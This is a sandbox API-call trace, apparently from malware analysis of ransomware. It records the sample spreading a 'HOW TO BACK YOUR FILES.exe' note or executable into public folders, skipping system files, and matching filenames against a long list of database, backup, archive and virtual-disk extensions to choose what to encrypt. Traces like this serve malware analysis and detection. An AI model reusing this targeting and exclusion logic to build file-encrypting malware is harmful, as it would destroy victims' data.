	[0046.807] CloseHandle (hObject=0x15c) returned 1
	[0046.807] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59aa10 | out: hHeap=0x580000) returned 1
	[0046.807] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf4e0 | out: hHeap=0x580000) returned 1
	[0046.807] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x3060020 | out: hHeap=0x580000) returned 1
	[0046.807] FindNextFileW (in: hFindFile=0x5ca3d0, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2837806f, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0x289b7a3b, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x28a29e5c, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x36c, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="RecordedTV.library-ms", cAlternateFileName="RECORD~1.LIB")) returned 0
	[0046.807] FindClose (in: hFindFile=0x5ca3d0 | out: hFindFile=0x5ca3d0) returned 1
	[0046.807] RtlInterlockedPopEntrySList (in: ListHead=0x5b75f0 | out: ListHead=0x5b75f0) returned 0x5b7b90
	[0046.807] lstrcpynW (in: lpString1=0x119e608, lpString2="C:\\Users\\Public\\Favorites", iMaxLength=260 | out: lpString1="C:\\Users\\Public\\Favorites") returned="C:\\Users\\Public\\Favorites"
	[0046.807] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5ca390 | out: hHeap=0x580000) returned 1
	[0046.807] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7b88 | out: hHeap=0x580000) returned 1
	[0046.807] lstrlenW (lpString="C:\\Users\\Public\\Favorites") returned 25
	[0046.807] lstrcatW (in: lpString1="", lpString2="C:\\Users\\Public\\Favorites" | out: lpString1="C:\\Users\\Public\\Favorites") returned="C:\\Users\\Public\\Favorites"
	[0046.807] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0046.807] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\Public\\Favorites\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\public\\favorites\\how to back your files.exe"), bFailIfExists=1) returned 0
	[0046.808] CreateFileW (lpFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x14c
	[0046.808] GetLastError () returned 0x0
	[0046.808] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x1dc00) returned 0x5cafb8
	[0046.808] ReadFile (in: hFile=0x14c, lpBuffer=0x5cafb8, nNumberOfBytesToRead=0x1dc00, lpNumberOfBytesRead=0x119e2e4, lpOverlapped=0x0 | out: lpBuffer=0x5cafb8*, lpNumberOfBytesRead=0x119e2e4*=0x1dc00, lpOverlapped=0x0) returned 1
	[0046.808] CloseHandle (hObject=0x14c) returned 1
	[0046.808] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5cafb8 | out: hHeap=0x580000) returned 1
	[0046.808] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0046.808] FindFirstFileW (in: lpFileName="C:\\Users\\Public\\Favorites\\*", lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x12, ftCreationTime.dwLowDateTime=0xfdae6622, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x2dc09910, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2dc09910, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca390
	[0046.808] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0046.808] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0046.808] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0046.808] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x12, ftCreationTime.dwLowDateTime=0xfdae6622, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x2dc09910, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2dc09910, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0046.808] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0046.808] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0046.808] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0046.808] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0046.808] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2dc09910, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x2dc09910, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1
	[0046.808] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0
	[0046.808] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2dc09910, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x2dc09910, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 0
	[0046.809] FindClose (in: hFindFile=0x5ca390 | out: hFindFile=0x5ca390) returned 1
	[0046.809] RtlInterlockedPopEntrySList (in: ListHead=0x5b75f0 | out: ListHead=0x5b75f0) returned 0x5b7b70
	[0046.809] lstrcpynW (in: lpString1=0x119e608, lpString2="C:\\Users\\Public\\Downloads", iMaxLength=260 | out: lpString1="C:\\Users\\Public\\Downloads") returned="C:\\Users\\Public\\Downloads"
	[0046.809] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5ca350 | out: hHeap=0x580000) returned 1
	[0046.809] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7b68 | out: hHeap=0x580000) returned 1
	[0046.809] lstrlenW (lpString="C:\\Users\\Public\\Downloads") returned 25
	[0046.809] lstrcatW (in: lpString1="", lpString2="C:\\Users\\Public\\Downloads" | out: lpString1="C:\\Users\\Public\\Downloads") returned="C:\\Users\\Public\\Downloads"
	[0046.809] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0046.809] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\Public\\Downloads\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\public\\downloads\\how to back your files.exe"), bFailIfExists=1) returned 0
	[0046.809] CreateFileW (lpFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x14c
	[0046.809] GetLastError () returned 0x0
	[0046.809] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x1dc00) returned 0x5cafb8
	[0046.809] ReadFile (in: hFile=0x14c, lpBuffer=0x5cafb8, nNumberOfBytesToRead=0x1dc00, lpNumberOfBytesRead=0x119e2e4, lpOverlapped=0x0 | out: lpBuffer=0x5cafb8*, lpNumberOfBytesRead=0x119e2e4*=0x1dc00, lpOverlapped=0x0) returned 1
	[0046.810] CloseHandle (hObject=0x14c) returned 1
	[0046.810] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5cafb8 | out: hHeap=0x580000) returned 1
	[0046.810] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0046.810] FindFirstFileW (in: lpFileName="C:\\Users\\Public\\Downloads\\*", lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfdae6622, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x2dc09910, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2dc09910, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca350
	[0046.810] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0046.810] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0046.810] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0046.810] FindNextFileW (in: hFindFile=0x5ca350, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfdae6622, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x2dc09910, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2dc09910, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0046.810] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0046.810] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0046.810] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0046.810] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0046.810] FindNextFileW (in: hFindFile=0x5ca350, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x28351f0f, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0x28351f0f, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x288d31f9, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0xae, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1
	[0046.810] lstrcmpiW (lpString1="desktop.ini", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0046.810] lstrcmpiW (lpString1="desktop.ini", lpString2="Apollon865.txt.exe") returned 1
	[0046.810] lstrcmpiW (lpString1="desktop.ini", lpString2=".") returned 1
	[0046.810] lstrcmpiW (lpString1="desktop.ini", lpString2="..") returned 1
	[0046.810] lstrcmpiW (lpString1="desktop.ini", lpString2="windows") returned -1
	[0046.810] lstrcmpiW (lpString1="desktop.ini", lpString2="bootmgr") returned 1
	[0046.810] lstrcmpiW (lpString1="desktop.ini", lpString2="temp") returned -1
	[0046.810] lstrcmpiW (lpString1="desktop.ini", lpString2="pagefile.sys") returned -1
	[0046.810] lstrcmpiW (lpString1="desktop.ini", lpString2="boot") returned 1
	[0046.810] lstrcmpiW (lpString1="desktop.ini", lpString2="ids.txt") returned -1
	[0046.810] lstrcmpiW (lpString1="desktop.ini", lpString2="ntuser.dat") returned -1
	[0046.810] lstrcmpiW (lpString1="desktop.ini", lpString2="perflogs") returned -1
	[0046.810] lstrcmpiW (lpString1="desktop.ini", lpString2="MSBuild") returned -1
	[0046.810] lstrlenW (lpString="desktop.ini") returned 11
	[0046.810] lstrlenW (lpString="C:\\Users\\Public\\Downloads\\*") returned 27
	[0046.810] lstrcpyW (in: lpString1=0x119e63c, lpString2="desktop.ini" | out: lpString1="desktop.ini") returned="desktop.ini"
	[0046.811] lstrlenW (lpString="desktop.ini") returned 11
	[0046.811] lstrlenW (lpString="Apollon865") returned 10
	[0046.811] lstrcmpiW (lpString1="esktop.ini", lpString2="Apollon865") returned 1
	[0046.811] lstrlenW (lpString=".dll") returned 4
	[0046.811] lstrcmpiW (lpString1="desktop.ini", lpString2=".dll") returned 1
	[0046.811] lstrlenW (lpString=".lnk") returned 4
	[0046.811] lstrcmpiW (lpString1="desktop.ini", lpString2=".lnk") returned 1
	[0046.811] lstrlenW (lpString=".ini") returned 4
	[0046.811] lstrcmpiW (lpString1="desktop.ini", lpString2=".ini") returned 1
	[0046.811] lstrlenW (lpString=".sys") returned 4
	[0046.811] lstrcmpiW (lpString1="desktop.ini", lpString2=".sys") returned 1
	[0046.811] lstrlenW (lpString="desktop.ini") returned 11
	[0046.811] lstrlenW (lpString="bak") returned 3
	[0046.811] lstrcmpiW (lpString1="ini", lpString2="bak") returned 1
	[0046.811] lstrlenW (lpString="ba_") returned 3
	[0046.811] lstrcmpiW (lpString1="ini", lpString2="ba_") returned 1
	[0046.811] lstrlenW (lpString="dbb") returned 3
	[0046.811] lstrcmpiW (lpString1="ini", lpString2="dbb") returned 1
	[0046.811] lstrlenW (lpString="vmdk") returned 4
	[0046.811] lstrcmpiW (lpString1=".ini", lpString2="vmdk") returned -1
	[0046.811] lstrlenW (lpString="rar") returned 3
	[0046.811] lstrcmpiW (lpString1="ini", lpString2="rar") returned -1
	[0046.811] lstrlenW (lpString="zip") returned 3
	[0046.811] lstrcmpiW (lpString1="ini", lpString2="zip") returned -1
	[0046.811] lstrlenW (lpString="tgz") returned 3
	[0046.811] lstrcmpiW (lpString1="ini", lpString2="tgz") returned -1
	[0046.811] lstrlenW (lpString="vbox") returned 4
	[0046.811] lstrcmpiW (lpString1=".ini", lpString2="vbox") returned -1
	[0046.811] lstrlenW (lpString="vdi") returned 3
	[0046.811] lstrcmpiW (lpString1="ini", lpString2="vdi") returned -1
	[0046.811] lstrlenW (lpString="vhd") returned 3
	[0046.811] lstrcmpiW (lpString1="ini", lpString2="vhd") returned -1
	[0046.811] lstrlenW (lpString="vhdx") returned 4
	[0046.811] lstrcmpiW (lpString1=".ini", lpString2="vhdx") returned -1
	[0046.811] lstrlenW (lpString="avhd") returned 4
	[0046.812] lstrcmpiW (lpString1=".ini", lpString2="avhd") returned -1
	[0046.812] lstrlenW (lpString="db") returned 2
	[0046.812] lstrcmpiW (lpString1="ni", lpString2="db") returned 1
	[0046.812] lstrlenW (lpString="db2") returned 3
	[0046.812] lstrcmpiW (lpString1="ini", lpString2="db2") returned 1
	[0046.812] lstrlenW (lpString="db3") returned 3
	[0046.812] lstrcmpiW (lpString1="ini", lpString2="db3") returned 1
	[0046.812] lstrlenW (lpString="dbf") returned 3
	[0046.812] lstrcmpiW (lpString1="ini", lpString2="dbf") returned 1
	[0046.812] lstrlenW (lpString="mdf") returned 3
	[0046.812] lstrcmpiW (lpString1="ini", lpString2="mdf") returned -1
	[0046.812] lstrlenW (lpString="mdb") returned 3
	[0046.812] lstrcmpiW (lpString1="ini", lpString2="mdb") returned -1
	[0046.812] lstrlenW (lpString="sql") returned 3
	[0046.812] lstrcmpiW (lpString1="ini", lpString2="sql") returned -1
	[0046.812] lstrlenW (lpString="sqlite") returned 6
	[0046.812] lstrcmpiW (lpString1="op.ini", lpString2="sqlite") returned -1
	[0046.812] lstrlenW (lpString="sqlite3") returned 7
	[0046.812] lstrcmpiW (lpString1="top.ini", lpString2="sqlite3") returned 1
	[0046.812] lstrlenW (lpString="sqlitedb") returned 8
	[0046.812] lstrcmpiW (lpString1="ktop.ini", lpString2="sqlitedb") returned -1
	[0046.812] lstrlenW (lpString="xml") returned 3
	[0046.812] lstrcmpiW (lpString1="ini", lpString2="xml") returned -1
	[0046.812] lstrlenW (lpString="$er") returned 3
	[0046.812] lstrcmpiW (lpString1="ini", lpString2="$er") returned 1
	[0046.812] lstrlenW (lpString="4dd") returned 3
	[0046.812] lstrcmpiW (lpString1="ini", lpString2="4dd") returned 1
	[0046.812] lstrlenW (lpString="4dl") returned 3
	[0046.812] lstrcmpiW (lpString1="ini", lpString2="4dl") returned 1
	[0046.812] lstrlenW (lpString="^^^") returned 3
	[0046.812] lstrcmpiW (lpString1="ini", lpString2="^^^") returned 1
	[0046.812] lstrlenW (lpString="abs") returned 3
	[0046.812] lstrcmpiW (lpString1="ini", lpString2="abs") returned 1
	[0046.812] lstrlenW (lpString="abx") returned 3
	[0046.812] lstrcmpiW (lpString1="ini", lpString2="abx") returned 1
	[0046.813] lstrlenW (lpString="accdb") returned 5
	[0046.813] lstrcmpiW (lpString1="p.ini", lpString2="accdb") returned 1
	[0046.813] lstrlenW (lpString="accdc") returned 5
	[0046.813] lstrcmpiW (lpString1="p.ini", lpString2="accdc") returned 1
	[0046.813] lstrlenW (lpString="accde") returned 5
	[0046.813] lstrcmpiW (lpString1="p.ini", lpString2="accde") returned 1
	[0046.813] lstrlenW (lpString="accdr") returned 5
	[0046.813] lstrcmpiW (lpString1="p.ini", lpString2="accdr") returned 1
	[0046.813] lstrlenW (lpString="accdt") returned 5
	[0046.813] lstrcmpiW (lpString1="p.ini", lpString2="accdt") returned 1
	[0046.813] lstrlenW (lpString="accdw") returned 5
	[0046.813] lstrcmpiW (lpString1="p.ini", lpString2="accdw") returned 1
	[0046.813] lstrlenW (lpString="accft") returned 5
	[0046.813] lstrcmpiW (lpString1="p.ini", lpString2="accft") returned 1
	[0046.813] lstrlenW (lpString="adb") returned 3
	[0046.813] lstrcmpiW (lpString1="ini", lpString2="adb") returned 1
	[0046.813] lstrlenW (lpString="adb") returned 3
	[0046.813] lstrcmpiW (lpString1="ini", lpString2="adb") returned 1
	[0046.813] lstrlenW (lpString="ade") returned 3
	[0046.813] lstrcmpiW (lpString1="ini", lpString2="ade") returned 1
	[0046.813] lstrlenW (lpString="adf") returned 3
	[0046.813] lstrcmpiW (lpString1="ini", lpString2="adf") returned 1
	[0046.813] lstrlenW (lpString="adn") returned 3
	[0046.813] lstrcmpiW (lpString1="ini", lpString2="adn") returned 1
	[0046.813] lstrlenW (lpString="adp") returned 3
	[0046.813] lstrcmpiW (lpString1="ini", lpString2="adp") returned 1
	[0046.813] lstrlenW (lpString="alf") returned 3
	[0046.813] lstrcmpiW (lpString1="ini", lpString2="alf") returned 1
	[0046.813] lstrlenW (lpString="ask") returned 3
	[0046.813] lstrcmpiW (lpString1="ini", lpString2="ask") returned 1
	[0046.813] lstrlenW (lpString="btr") returned 3
	[0046.813] lstrcmpiW (lpString1="ini", lpString2="btr") returned 1
	[0046.813] lstrlenW (lpString="cat") returned 3
	[0046.813] lstrcmpiW (lpString1="ini", lpString2="cat") returned 1
	[0046.814] lstrlenW (lpString="cdb") returned 3
	[0046.814] lstrcmpiW (lpString1="ini", lpString2="cdb") returned 1
	[0046.814] lstrlenW (lpString="ckp") returned 3
	[0046.814] lstrcmpiW (lpString1="ini", lpString2="ckp") returned 1
	[0046.814] lstrlenW (lpString="cma") returned 3
	[0046.814] lstrcmpiW (lpString1="ini", lpString2="cma") returned 1
	[0046.814] lstrlenW (lpString="cpd") returned 3
	[0046.814] lstrcmpiW (lpString1="ini", lpString2="cpd") returned 1
	[0046.814] lstrlenW (lpString="dacpac") returned 6
	[0046.814] lstrcmpiW (lpString1="op.ini", lpString2="dacpac") returned 1
	[0046.814] lstrlenW (lpString="dad") returned 3
	[0046.814] lstrcmpiW (lpString1="ini", lpString2="dad") returned 1
	[0046.814] lstrlenW (lpString="dadiagrams") returned 10
	[0046.814] lstrcmpiW (lpString1="esktop.ini", lpString2="dadiagrams") returned 1
	[0046.814] lstrlenW (lpString="daschema") returned 8
	[0046.814] lstrcmpiW (lpString1="ktop.ini", lpString2="daschema") returned 1
	[0046.814] lstrlenW (lpString="db-journal") returned 10
	[0046.814] lstrcmpiW (lpString1="esktop.ini", lpString2="db-journal") returned 1
	[0046.814] lstrlenW (lpString="db-shm") returned 6
	[0046.814] lstrcmpiW (lpString1="op.ini", lpString2="db-shm") returned 1
	[0046.814] lstrlenW (lpString="db-wal") returned 6
	[0046.814] lstrcmpiW (lpString1="op.ini", lpString2="db-wal") returned 1
	[0046.814] lstrlenW (lpString="dbc") returned 3
	[0046.814] lstrcmpiW (lpString1="ini", lpString2="dbc") returned 1
	[0046.814] lstrlenW (lpString="dbs") returned 3
	[0046.814] lstrcmpiW (lpString1="ini", lpString2="dbs") returned 1
	[0046.814] lstrlenW (lpString="dbt") returned 3
	[0046.814] lstrcmpiW (lpString1="ini", lpString2="dbt") returned 1
	[0046.814] lstrlenW (lpString="dbv") returned 3
	[0046.814] lstrcmpiW (lpString1="ini", lpString2="dbv") returned 1
	[0046.814] lstrlenW (lpString="dbx") returned 3
	[0046.814] lstrcmpiW (lpString1="ini", lpString2="dbx") returned 1
	[0046.814] lstrlenW (lpString="dcb") returned 3
	[0046.814] lstrcmpiW (lpString1="ini", lpString2="dcb") returned 1
	[0046.815] lstrlenW (lpString="dct") returned 3
	[0046.815] lstrcmpiW (lpString1="ini", lpString2="dct") returned 1
	[0046.815] lstrlenW (lpString="dcx") returned 3
	[0046.815] lstrcmpiW (lpString1="ini", lpString2="dcx") returned 1
	[0046.815] lstrlenW (lpString="ddl") returned 3
	[0046.815] lstrcmpiW (lpString1="ini", lpString2="ddl") returned 1
	[0046.815] lstrlenW (lpString="dlis") returned 4
	[0046.815] lstrcmpiW (lpString1=".ini", lpString2="dlis") returned -1
	[0046.815] lstrlenW (lpString="dp1") returned 3
	[0046.815] lstrcmpiW (lpString1="ini", lpString2="dp1") returned 1
	[0046.815] lstrlenW (lpString="dqy") returned 3
	[0046.815] lstrcmpiW (lpString1="ini", lpString2="dqy") returned 1
	[0046.815] lstrlenW (lpString="dsk") returned 3
	[0046.815] lstrcmpiW (lpString1="ini", lpString2="dsk") returned 1
	[0046.815] lstrlenW (lpString="dsn") returned 3
	[0046.815] lstrcmpiW (lpString1="ini", lpString2="dsn") returned 1
	[0046.815] lstrlenW (lpString="dtsx") returned 4
	[0046.815] lstrcmpiW (lpString1=".ini", lpString2="dtsx") returned -1
	[0046.815] lstrlenW (lpString="dxl") returned 3
	[0046.815] lstrcmpiW (lpString1="ini", lpString2="dxl") returned 1
	[0046.815] lstrlenW (lpString="eco") returned 3
	[0046.815] lstrcmpiW (lpString1="ini", lpString2="eco") returned 1
	[0046.815] lstrlenW (lpString="ecx") returned 3
	[0046.815] lstrcmpiW (lpString1="ini", lpString2="ecx") returned 1
	[0046.815] lstrlenW (lpString="edb") returned 3
	[0046.815] lstrcmpiW (lpString1="ini", lpString2="edb") returned 1
	[0046.815] lstrlenW (lpString="epim") returned 4
	[0046.815] lstrcmpiW (lpString1=".ini", lpString2="epim") returned -1
	[0046.815] lstrlenW (lpString="fcd") returned 3
	[0046.815] lstrcmpiW (lpString1="ini", lpString2="fcd") returned 1
	[0046.815] lstrlenW (lpString="fdb") returned 3
	[0046.815] lstrcmpiW (lpString1="ini", lpString2="fdb") returned 1
	[0046.815] lstrlenW (lpString="fic") returned 3
	[0046.815] lstrcmpiW (lpString1="ini", lpString2="fic") returned 1
	[0046.815] lstrlenW (lpString="flexolibrary") returned 12
	[0046.815] lstrlenW (lpString="fm5") returned 3
	[0046.816] lstrcmpiW (lpString1="ini", lpString2="fm5") returned 1
	[0046.816] lstrlenW (lpString="fmp") returned 3
	[0046.816] lstrcmpiW (lpString1="ini", lpString2="fmp") returned 1
	[0046.816] lstrlenW (lpString="fmp12") returned 5
	[0046.816] lstrcmpiW (lpString1="p.ini", lpString2="fmp12") returned 1
	[0046.816] lstrlenW (lpString="fmpsl") returned 5
	[0046.816] lstrcmpiW (lpString1="p.ini", lpString2="fmpsl") returned 1
	[0046.816] lstrlenW (lpString="fol") returned 3
	[0046.816] lstrcmpiW (lpString1="ini", lpString2="fol") returned 1
	[0046.816] lstrlenW (lpString="fp3") returned 3
	[0046.816] lstrcmpiW (lpString1="ini", lpString2="fp3") returned 1
	[0046.816] lstrlenW (lpString="fp4") returned 3
	[0046.816] lstrcmpiW (lpString1="ini", lpString2="fp4") returned 1
	[0046.816] lstrlenW (lpString="fp5") returned 3
	[0046.816] lstrcmpiW (lpString1="ini", lpString2="fp5") returned 1
	[0046.816] lstrlenW (lpString="fp7") returned 3
	[0046.816] lstrcmpiW (lpString1="ini", lpString2="fp7") returned 1
	[0046.816] lstrlenW (lpString="fpt") returned 3
	[0046.816] lstrcmpiW (lpString1="ini", lpString2="fpt") returned 1
	[0046.816] lstrlenW (lpString="frm") returned 3
	[0046.816] lstrcmpiW (lpString1="ini", lpString2="frm") returned 1
	[0046.816] lstrlenW (lpString="gdb") returned 3
	[0046.816] lstrcmpiW (lpString1="ini", lpString2="gdb") returned 1
	[0046.816] lstrlenW (lpString="gdb") returned 3
	[0046.816] lstrcmpiW (lpString1="ini", lpString2="gdb") returned 1
	[0046.816] lstrlenW (lpString="grdb") returned 4
	[0046.816] lstrcmpiW (lpString1=".ini", lpString2="grdb") returned -1
	[0046.816] lstrlenW (lpString="gwi") returned 3
	[0046.816] lstrcmpiW (lpString1="ini", lpString2="gwi") returned 1
	[0046.816] lstrlenW (lpString="hdb") returned 3
	[0046.816] lstrcmpiW (lpString1="ini", lpString2="hdb") returned 1
	[0046.816] lstrlenW (lpString="his") returned 3
	[0046.817] lstrcmpiW (lpString1="ini", lpString2="his") returned 1
	[0046.817] lstrlenW (lpString="ib") returned 2
	[0046.817] lstrcmpiW (lpString1="ni", lpString2="ib") returned 1
	[0046.817] lstrlenW (lpString="idb") returned 3
	[0046.817] lstrcmpiW (lpString1="ini", lpString2="idb") returned 1
	[0046.817] lstrlenW (lpString="ihx") returned 3
	[0046.817] lstrcmpiW (lpString1="ini", lpString2="ihx") returned 1
	[0046.817] lstrlenW (lpString="itdb") returned 4
	[0046.817] lstrcmpiW (lpString1=".ini", lpString2="itdb") returned -1
	[0046.817] lstrlenW (lpString="itw") returned 3
	[0046.817] lstrcmpiW (lpString1="ini", lpString2="itw") returned -1
	[0046.817] lstrlenW (lpString="jet") returned 3
	[0046.817] lstrcmpiW (lpString1="ini", lpString2="jet") returned -1
	[0046.817] lstrlenW (lpString="jtx") returned 3
	[0046.817] lstrcmpiW (lpString1="ini", lpString2="jtx") returned -1
	[0046.817] lstrlenW (lpString="kdb") returned 3
	[0046.817] lstrcmpiW (lpString1="ini", lpString2="kdb") returned -1
	[0046.817] lstrlenW (lpString="kexi") returned 4
	[0046.817] lstrcmpiW (lpString1=".ini", lpString2="kexi") returned -1
	[0046.817] lstrlenW (lpString="kexic") returned 5
	[0046.817] lstrcmpiW (lpString1="p.ini", lpString2="kexic") returned 1
	[0046.817] lstrlenW (lpString="kexis") returned 5
	[0046.817] lstrcmpiW (lpString1="p.ini", lpString2="kexis") returned 1
	[0046.817] lstrlenW (lpString="lgc") returned 3
	[0046.817] lstrcmpiW (lpString1="ini", lpString2="lgc") returned -1
	[0046.817] lstrlenW (lpString="lwx") returned 3
	[0046.817] lstrcmpiW (lpString1="ini", lpString2="lwx") returned -1
	[0046.817] lstrlenW (lpString="maf") returned 3
	[0046.817] lstrcmpiW (lpString1="ini", lpString2="maf") returned -1
	[0046.817] lstrlenW (lpString="maq") returned 3
	[0046.817] lstrcmpiW (lpString1="ini", lpString2="maq") returned -1
	[0046.817] lstrlenW (lpString="mar") returned 3
	[0046.817] lstrcmpiW (lpString1="ini", lpString2="mar") returned -1
	[0046.817] lstrlenW (lpString="marshal") returned 7
	[0046.818] lstrcmpiW (lpString1="top.ini", lpString2="marshal") returned 1
	[0046.818] lstrlenW (lpString="mas") returned 3
	[0046.818] lstrcmpiW (lpString1="ini", lpString2="mas") returned -1
	[0046.818] lstrlenW (lpString="mav") returned 3
	[0046.818] lstrcmpiW (lpString1="ini", lpString2="mav") returned -1
	[0046.818] lstrlenW (lpString="maw") returned 3
	[0046.818] lstrcmpiW (lpString1="ini", lpString2="maw") returned -1
	[0046.818] lstrlenW (lpString="mdbhtml") returned 7
	[0046.818] lstrcmpiW (lpString1="top.ini", lpString2="mdbhtml") returned 1
	[0046.818] lstrlenW (lpString="mdn") returned 3
